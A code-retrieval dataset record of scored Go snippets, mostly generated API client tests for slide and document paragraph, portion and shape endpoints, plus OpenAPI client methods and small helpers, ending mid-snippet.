"docid": "1b8b94b9f169e2cfaa87d4fc7063af9a", "score": "0.5039883", "text": "func TestGetParagraphPortionsInvalidpath(t *testing.T) {\n request := createGetParagraphPortionsRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"GetParagraphPortions\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetParagraphPortions(request)\n assertError(t, \"GetParagraphPortions\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "e7c53f2e3f82cabbd68b45ec794cfb7e", "score": "0.5039043", "text": "func TestPostAddNewParagraphInvalidfolder(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n request.folder = invalidizeTestParamValue(request.folder, \"folder\", \"string\").(string)\n e := initializeTest(\"PostAddNewParagraph\", \"folder\", request.folder)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewParagraph(request)\n assertError(t, \"PostAddNewParagraph\", \"folder\", r.Code, e)\n}", "title": "" }, { "docid": "c96a4f7417920d6884a0ba385bc2e62d", "score": "0.5021777", "text": "func TestPostAddNewShapeInvalidshapeToClone(t *testing.T) {\n request := createPostAddNewShapeRequest()\n request.shapeToClone = invalidizeTestParamValue(request.shapeToClone, \"shapeToClone\", \"int32\").(int32)\n e := initializeTest(\"PostAddNewShape\", \"shapeToClone\", request.shapeToClone)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewShape(request)\n assertError(t, \"PostAddNewShape\", \"shapeToClone\", r.Code, e)\n}", "title": "" }, { "docid": "fea89ec657199e618278ebb21144e624", "score": "0.50147617", "text": "func TestGetShapeParagraphInvalidstorage(t *testing.T) {\n request := createGetShapeParagraphRequest()\n request.storage = invalidizeTestParamValue(request.storage, \"storage\", \"string\").(string)\n e := initializeTest(\"GetShapeParagraph\", \"storage\", request.storage)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetShapeParagraph(request)\n assertError(t, \"GetShapeParagraph\", \"storage\", r.Code, e)\n}", "title": "" }, { "docid": "d350616f928f514c9282b1c585952667", "score": "0.499919", "text": "func modifyDefinitions(version string, isClient bool, name string, def map[interface{}]interface{}) {\n\n\tproperties, ok := def[\"properties\"].(map[interface{}]interface{})\n\tif !ok {\n\t\t// Polymorphic sub-types, like students.updated, don't have their own properties\n\t\treturn\n\t}\n\n\tswitch name {\n\tcase \"Student\":\n\t\tif !isClient {\n\t\t\tdelete(properties, \"iep_status\")\n\t\t\tdelete(properties, \"home_language\")\n\t\t\tdelete(properties, \"unweighted_gpa\")\n\t\t\tdelete(properties, \"weighted_gpa\")\n\t\t}\n\tdefault:\n\t}\n}", "title": "" }, { "docid": "ae5802301dbe2b791eae38a5e7f092a8", "score": "0.49896106", "text": "func TestDeleteParagraphsInvalidpassword(t *testing.T) {\n request := createDeleteParagraphsRequest()\n request.password = invalidizeTestParamValue(request.password, \"password\", \"string\").(string)\n e := initializeTest(\"DeleteParagraphs\", \"password\", request.password)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraphs(request)\n assertError(t, \"DeleteParagraphs\", \"password\", r.Code, e)\n}", "title": "" }, { "docid": "01a5e61d1bb26ce95abbea76d14b9455", "score": "0.498026", "text": "func Test_Paragraph_InsertParagraph(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Paragraphs\"\n localFile := \"Common/test_multi_pages.docx\"\n remoteFileName := \"TestInsertParagraph.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(localFile), remoteDataFolder + \"/\" + remoteFileName)\n\n requestParagraph := models.ParagraphInsert{\n Text: \"This is a new paragraph for your document\",\n }\n\n options := map[string]interface{}{\n \"nodePath\": \"sections/0\",\n \"folder\": remoteDataFolder,\n }\n _, _, err := client.WordsApi.InsertParagraph(ctx, remoteFileName, requestParagraph, options)\n\n if err != nil {\n t.Error(err)\n }\n\n}", "title": "" }, { "docid": "d1c62f1e9e68ad64cddedfd710afecbb", "score": "0.49761376", "text": "func TestGetShapeParagraphInvalidfolder(t *testing.T) {\n request := createGetShapeParagraphRequest()\n request.folder = invalidizeTestParamValue(request.folder, \"folder\", \"string\").(string)\n e := initializeTest(\"GetShapeParagraph\", \"folder\", request.folder)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetShapeParagraph(request)\n assertError(t, \"GetShapeParagraph\", \"folder\", r.Code, e)\n}", "title": "" }, { "docid": "1438ac150a5388d08d64a9569ccc2bca", "score": "0.4975124", "text": "func TestPostAddNewParagraphInvalidslideIndex(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n request.slideIndex = invalidizeTestParamValue(request.slideIndex, \"slideIndex\", \"int32\").(int32)\n e := initializeTest(\"PostAddNewParagraph\", \"slideIndex\", request.slideIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewParagraph(request)\n assertError(t, \"PostAddNewParagraph\", \"slideIndex\", r.Code, e)\n}", "title": "" }, { "docid": "fbbbc4cd27c674054bd7e0e203a869ea", "score": "0.49613518", "text": "func TestDeleteParagraphInvalidpassword(t *testing.T) {\n request := createDeleteParagraphRequest()\n request.password = invalidizeTestParamValue(request.password, \"password\", \"string\").(string)\n e := initializeTest(\"DeleteParagraph\", \"password\", request.password)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraph(request)\n assertError(t, \"DeleteParagraph\", \"password\", r.Code, e)\n}", "title": "" }, { "docid": "644014e7d2c35bc7146582f7f7ad3be1", "score": "0.49380797", "text": "func TestPostAddNewPortionInvaliddto(t *testing.T) {\n request := createPostAddNewPortionRequest()\n request.dto = invalidizeTestParamValue(request.dto, \"dto\", \"Portion\").(Portion)\n e := initializeTest(\"PostAddNewPortion\", \"dto\", request.dto)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewPortion(request)\n assertError(t, \"PostAddNewPortion\", \"dto\", r.Code, e)\n}", "title": "" }, { "docid": "c1686832e4a82ac5b03780f59169ef77", "score": "0.49366134", "text": "func TestGetSlideShapeParagraphsInvalidslideIndex(t *testing.T) {\n request := createGetSlideShapeParagraphsRequest()\n request.slideIndex = invalidizeTestParamValue(request.slideIndex, \"slideIndex\", \"int32\").(int32)\n e := initializeTest(\"GetSlideShapeParagraphs\", \"slideIndex\", request.slideIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetSlideShapeParagraphs(request)\n assertError(t, \"GetSlideShapeParagraphs\", \"slideIndex\", r.Code, e)\n}", "title": "" }, { "docid": "62a79ae976cb5fa680d5dbf6776974d4", "score": "0.49365285", "text": "func Test_Paragraph_GetParagraphFormat(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Paragraphs\"\n localFile := \"Common/test_multi_pages.docx\"\n remoteFileName := \"TestGetDocumentParagraphs.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(localFile), remoteDataFolder + \"/\" + remoteFileName)\n\n\n options := map[string]interface{}{\n \"nodePath\": \"\",\n \"folder\": remoteDataFolder,\n }\n _, _, err := client.WordsApi.GetParagraphFormat(ctx, remoteFileName, int32(0), options)\n\n if err != nil {\n t.Error(err)\n }\n\n}", "title": "" }, { "docid": "1890981a9a93f5327a7912995d4a8306", "score": "0.4932137", "text": "func Test_Table_UpdateTablePropertiesWithoutNodePath(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Tables\"\n localFile := \"DocumentElements/Tables/TablesGet.docx\"\n remoteFileName := \"TestUpdateTablePropertiesWithoutNodePath.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(localFile), remoteDataFolder + \"/\" + remoteFileName)\n\n requestProperties := models.TableProperties{\n Alignment: \"Right\",\n AllowAutoFit: false,\n Bidi: true,\n BottomPadding: 1,\n CellSpacing: 2,\n StyleOptions: \"ColumnBands\",\n }\n\n options := map[string]interface{}{\n \"folder\": remoteDataFolder,\n }\n _, _, err := client.WordsApi.UpdateTablePropertiesWithoutNodePath(ctx, remoteFileName, requestProperties, int32(1), options)\n\n if err != nil {\n t.Error(err)\n }\n}", "title": "" }, { "docid": "b84de4afeb40e79305d7138bee75a379", "score": "0.49217376", "text": "func TestDeletePortionsInvalidparagraphIndex(t *testing.T) {\n request := createDeletePortionsRequest()\n request.paragraphIndex = invalidizeTestParamValue(request.paragraphIndex, \"paragraphIndex\", \"int32\").(int32)\n e := initializeTest(\"DeletePortions\", \"paragraphIndex\", request.paragraphIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeletePortions(request)\n assertError(t, \"DeletePortions\", \"paragraphIndex\", r.Code, e)\n}", "title": "" }, { "docid": "874b9d4b8c8450b238f6b1bf83ac51c4", "score": "0.49167353", "text": "func (a *ShapeCollectionApiService) UpdateShapeCollection(ctx _context.Context, shapeCollectionId int64, localVarOptionals *UpdateShapeCollectionOpts) (ShapeCollectionResponse, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPut\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue ShapeCollectionResponse\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/shapecollections/{shapeCollectionId}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"shapeCollectionId\"+\"}\", _neturl.QueryEscape(parameterToString(shapeCollectionId, \"\")) , -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tif localVarOptionals != nil && localVarOptionals.EditShapeCollectionRequest.IsSet() {\n\t\tlocalVarOptionalEditShapeCollectionRequest, localVarOptionalEditShapeCollectionRequestok := localVarOptionals.EditShapeCollectionRequest.Value().(EditShapeCollectionRequest)\n\t\tif !localVarOptionalEditShapeCollectionRequestok {\n\t\t\treturn localVarReturnValue, nil, reportError(\"editShapeCollectionRequest should be EditShapeCollectionRequest\")\n\t\t}\n\t\tlocalVarPostBody = &localVarOptionalEditShapeCollectionRequest\n\t}\n\n\tif ctx != nil {\n\t\t// API Key Authentication\n\t\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\n\t\t\tvar key string\n\t\t\tif auth.Prefix != \"\" {\n\t\t\t\tkey = auth.Prefix + \" \" + auth.Key\n\t\t\t} else {\n\t\t\t\tkey = auth.Key\n\t\t\t}\n\t\t\tlocalVarHeaderParams[\"X-API-Token\"] = key\n\t\t}\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 400 {\n\t\t\tvar v BadRequestResponse\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 401 {\n\t\t\tvar v UnauthorizedResponse\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 404 {\n\t\t\tvar v NotFoundResponse\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "a00882c66d839ed0168861b0a1cf165f", "score": "0.4902317", "text": "func setOptionalProperty(p blip.Properties, k string, v interface{}) {\n\tswitch val := v.(type) {\n\tcase *string:\n\t\tif val != nil {\n\t\t\tp[k] = *val\n\t\t}\n\tcase string:\n\t\tif val != \"\" {\n\t\t\tp[k] = val\n\t\t}\n\tcase bool:\n\t\tif val {\n\t\t\tp[k] = strconv.FormatBool(val)\n\t\t}\n\tcase *int:\n\t\tif val != nil {\n\t\t\tp[k] = strconv.Itoa(*val)\n\t\t}\n\tcase uint64:\n\t\tif val != 0 {\n\t\t\tp[k] = strconv.FormatUint(val, 10)\n\t\t}\n\tcase uint16:\n\t\tif val != 0 {\n\t\t\tp[k] = strconv.FormatUint(uint64(val), 10)\n\t\t}\n\tcase fmt.Stringer:\n\t\tp[k] = val.String()\n\tdefault:\n\t\t// TODO: CBG-1948\n\t\tpanic(fmt.Sprintf(\"unknown setOptionalProperty value type: %T\", val))\n\t}\n}", "title": "" }, { "docid": "15ba9268672e500adaa82b287147f859", "score": "0.49019068", "text": "func TestDeletePortionInvalidparagraphIndex(t *testing.T) {\n request := createDeletePortionRequest()\n request.paragraphIndex = invalidizeTestParamValue(request.paragraphIndex, \"paragraphIndex\", \"int32\").(int32)\n e := initializeTest(\"DeletePortion\", \"paragraphIndex\", request.paragraphIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeletePortion(request)\n assertError(t, \"DeletePortion\", \"paragraphIndex\", r.Code, e)\n}", "title": "" }, { "docid": "66836d016fb5b9ea192322194777a19d", "score": "0.48900452", "text": "func TestDeleteSlideShape(t *testing.T) {\n request := createDeleteSlideShapeRequest()\n e := initializeTest(\"DeleteSlideShape\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.DeleteSlideShape(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "d669ab8b38abd4de34af026a6e3b1cfa", "score": "0.48851168", "text": "func (a *PropertiesApiService) UpdatePullRequestHostedPropertyValue(ctx context.Context, username string, repoSlug string, pullrequestId string, appKey string, propertyName string) (*http.Response, error) {\n\tvar (\n\t\tlocalVarHttpMethod = strings.ToUpper(\"Put\")\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\t\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/repositories/{workspace}/{repo_slug}/pullrequests/{pullrequest_id}/properties/{app_key}/{property_name}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"username\"+\"}\", fmt.Sprintf(\"%v\", username), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"repo_slug\"+\"}\", fmt.Sprintf(\"%v\", repoSlug), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"pullrequest_id\"+\"}\", fmt.Sprintf(\"%v\", pullrequestId), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"app_key\"+\"}\", fmt.Sprintf(\"%v\", appKey), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"property_name\"+\"}\", fmt.Sprintf(\"%v\", propertyName), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlocalVarHttpResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHttpResponse == nil {\n\t\treturn localVarHttpResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body)\n\tlocalVarHttpResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarHttpResponse, err\n\t}\n\n\n\tif localVarHttpResponse.StatusCode >= 300 {\n\t\tnewErr := GenericSwaggerError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHttpResponse.Status,\n\t\t}\n\t\t\n\t\treturn localVarHttpResponse, newErr\n\t}\n\n\treturn localVarHttpResponse, nil\n}", "title": "" }, { "docid": "f412cf873c2e1c6533965654211f8ef1", "score": "0.48811993", "text": "func TestPostShapeSaveAs(t *testing.T) {\n request := createPostShapeSaveAsRequest()\n e := initializeTest(\"PostShapeSaveAs\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.PostShapeSaveAs(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n assertBinaryResponse(r, t)\n}", "title": "" }, { "docid": "86347f710eb24ccd5bc3bfa3784142e9", "score": "0.48786107", "text": "func TestPostAddNewParagraphInvalidname(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n request.name = invalidizeTestParamValue(request.name, \"name\", \"string\").(string)\n e := initializeTest(\"PostAddNewParagraph\", \"name\", request.name)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewParagraph(request)\n assertError(t, \"PostAddNewParagraph\", \"name\", r.Code, e)\n}", "title": "" }, { "docid": "903d31d04f996b0be73c54b0a19d754e", "score": "0.48780888", "text": "func Test_Paragraph_InsertParagraphTabStops(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Paragraphs\"\n tabStopFolder := \"DocumentElements/Paragraphs\"\n remoteFileName := \"TestInsertOrUpdateParagraphTabStop.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(tabStopFolder + \"/ParagraphTabStops.docx\"), remoteDataFolder + \"/\" + remoteFileName)\n\n requestDto := models.TabStopInsert{\n Alignment: \"Left\",\n Leader: \"None\",\n Position: 72,\n }\n\n options := map[string]interface{}{\n \"nodePath\": \"\",\n \"folder\": remoteDataFolder,\n }\n _, _, err := client.WordsApi.InsertOrUpdateParagraphTabStop(ctx, remoteFileName, requestDto, int32(0), options)\n\n if err != nil {\n t.Error(err)\n }\n\n}", "title": "" }, { "docid": "c30aeac3300dfd1d1f33128bd976aa2e", "score": "0.48778576", "text": "func TestDeleteParagraphInvalidslideIndex(t *testing.T) {\n request := createDeleteParagraphRequest()\n request.slideIndex = invalidizeTestParamValue(request.slideIndex, \"slideIndex\", \"int32\").(int32)\n e := initializeTest(\"DeleteParagraph\", \"slideIndex\", request.slideIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraph(request)\n assertError(t, \"DeleteParagraph\", \"slideIndex\", r.Code, e)\n}", "title": "" }, { "docid": "5d0746ee59cc0e4a0b134567230610ba", "score": "0.4863828", "text": "func TestDeleteParagraphInvalidfolder(t *testing.T) {\n request := createDeleteParagraphRequest()\n request.folder = invalidizeTestParamValue(request.folder, \"folder\", \"string\").(string)\n e := initializeTest(\"DeleteParagraph\", \"folder\", request.folder)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraph(request)\n assertError(t, \"DeleteParagraph\", \"folder\", r.Code, e)\n}", "title": "" }, { "docid": "5c7c147f63e7fafcd516642061460b44", "score": "0.48596796", "text": "func (t *Test) SetTestProps(db *mgo.Database) error {\n\n\tchange := bson.M{\n\t\t\"$set\": bson.M{\n\t\t\t\"enable\": t.Enable,\n\t\t\t\"timestamp\": time.Now(),\n\t\t},\n\t}\n\n\treturn db.C(testCollectionName).Update(bson.M{\n\t\t\"_id\": t.Id,\n\t}, change)\n}", "title": "" }, { "docid": "c3fd75b514f86a5e370cdd81b55326c3", "score": "0.4859502", "text": "func TestPutSlideShapeInfoInvalidpassword(t *testing.T) {\n request := createPutSlideShapeInfoRequest()\n request.password = invalidizeTestParamValue(request.password, \"password\", \"string\").(string)\n e := initializeTest(\"PutSlideShapeInfo\", \"password\", request.password)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSlideShapeInfo(request)\n assertError(t, \"PutSlideShapeInfo\", \"password\", r.Code, e)\n}", "title": "" }, { "docid": "8fe59691e822d1dc112e97851e23203c", "score": "0.48510745", "text": "func TestDeleteParagraphsInvalidslideIndex(t *testing.T) {\n request := createDeleteParagraphsRequest()\n request.slideIndex = invalidizeTestParamValue(request.slideIndex, \"slideIndex\", \"int32\").(int32)\n e := initializeTest(\"DeleteParagraphs\", \"slideIndex\", request.slideIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraphs(request)\n assertError(t, \"DeleteParagraphs\", \"slideIndex\", r.Code, e)\n}", "title": "" }, { "docid": "55c8a242e0f4fbb18c7850324ae20fbc", "score": "0.4849865", "text": "func TestDeleteParagraphsInvalidfolder(t *testing.T) {\n request := createDeleteParagraphsRequest()\n request.folder = invalidizeTestParamValue(request.folder, \"folder\", \"string\").(string)\n e := initializeTest(\"DeleteParagraphs\", \"folder\", request.folder)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraphs(request)\n assertError(t, \"DeleteParagraphs\", \"folder\", r.Code, e)\n}", "title": "" }, { "docid": "8b85fe371adc02a63013fbb29692479a", "score": "0.48449716", "text": "func TestPostAddNewShape(t *testing.T) {\n request := createPostAddNewShapeRequest()\n e := initializeTest(\"PostAddNewShape\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.PostAddNewShape(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "80451a9fd766541a2a8726a242782a8d", "score": "0.48416677", "text": "func TestPostAddNewParagraphInvalidstorage(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n request.storage = invalidizeTestParamValue(request.storage, \"storage\", \"string\").(string)\n e := initializeTest(\"PostAddNewParagraph\", \"storage\", request.storage)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewParagraph(request)\n assertError(t, \"PostAddNewParagraph\", \"storage\", r.Code, e)\n}", "title": "" }, { "docid": "38ae97420cd5eec4c55600a733f8115a", "score": "0.4838473", "text": "func TestGetSlideShapeParagraphsInvalidname(t *testing.T) {\n request := createGetSlideShapeParagraphsRequest()\n request.name = invalidizeTestParamValue(request.name, \"name\", \"string\").(string)\n e := initializeTest(\"GetSlideShapeParagraphs\", \"name\", request.name)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetSlideShapeParagraphs(request)\n assertError(t, \"GetSlideShapeParagraphs\", \"name\", r.Code, e)\n}", "title": "" }, { "docid": "da5ba4072baf9c78a40c75802f347b5e", "score": "0.4830125", "text": "func TestDeleteParagraphsInvalidname(t *testing.T) {\n request := createDeleteParagraphsRequest()\n request.name = invalidizeTestParamValue(request.name, \"name\", \"string\").(string)\n e := initializeTest(\"DeleteParagraphs\", \"name\", request.name)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraphs(request)\n assertError(t, \"DeleteParagraphs\", \"name\", r.Code, e)\n}", "title": "" }, { "docid": "35e67bf8d8c7c0582d58b105fc2a1094", "score": "0.48263526", "text": "func TestPostAddNewPortionInvalidshapeIndex(t *testing.T) {\n request := createPostAddNewPortionRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"PostAddNewPortion\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewPortion(request)\n assertError(t, \"PostAddNewPortion\", \"shapeIndex\", r.Code, e)\n}", "title": "" } ]
dad275b56dbaf566a190505fb05e355d
GetNumSections returns the total number of sections.
[ { "docid": "975a0d4a2f872d73c67d4ecbdef42789", "score": "0.7354819", "text": "func (t *Tracker) GetNumSections() int {\n\tt.mtx.RLock()\n\tdefer t.mtx.RUnlock()\n\n\treturn len(*t.hitList)\n}", "title": "" } ]
[ { "docid": "2b16d534ac1dc5e2426be9299bae9fe2", "score": "0.79325217", "text": "func (f *DiffFile) NumSections() int {\n\treturn len(f.Sections)\n}", "title": "" }, { "docid": "e85151958d1c98730a34733a11c2eae1", "score": "0.7279298", "text": "func (f *File) SectionCount() int {\n\treturn len(f.sections)\n}", "title": "" }, { "docid": "c5f3e0b4f19dea77ab176f7d2d3d0b9a", "score": "0.6116088", "text": "func (cPtr *ChainIndexer) Sections() (Uint64, Uint64, bgmcommon.Hash) {\n\tcPtr.lock.Lock()\n\tdefer cPtr.lock.Unlock()\n\n\treturn cPtr.storedSections, cPtr.storedSections*cPtr.sectionSize - 1, cPtr.SectionHead(cPtr.storedSections - 1)\n}", "title": "" }, { "docid": "13888900a94efb00a1ee9917e0524991", "score": "0.594066", "text": "func (s Section) Length() int {\n\tswitch s.Kind {\n\tcase BodySection:\n\t\treturn 1 + len(s.Document)\n\tcase DocumentSequenceSection:\n\t\treturn 1 + len(s.DocumentSequence)\n\tdefault:\n\t\tpanic(fmt.Errorf(\"unknown kind %v\", s.Kind))\n\t}\n}", "title": "" }, { "docid": "b4ab6d81fbad4dda3a35400fb957e9f8", "score": "0.58658063", "text": "func (s *Snapshot) NumSegments() uint64 {\n\treturn uint64(len(s.segments))\n}", "title": "" }, { "docid": "030da168591f82cf82f2245798edd115", "score": "0.537559", "text": "func (ini *Ini) GetSections() []string {\n\tsections := make([]string, 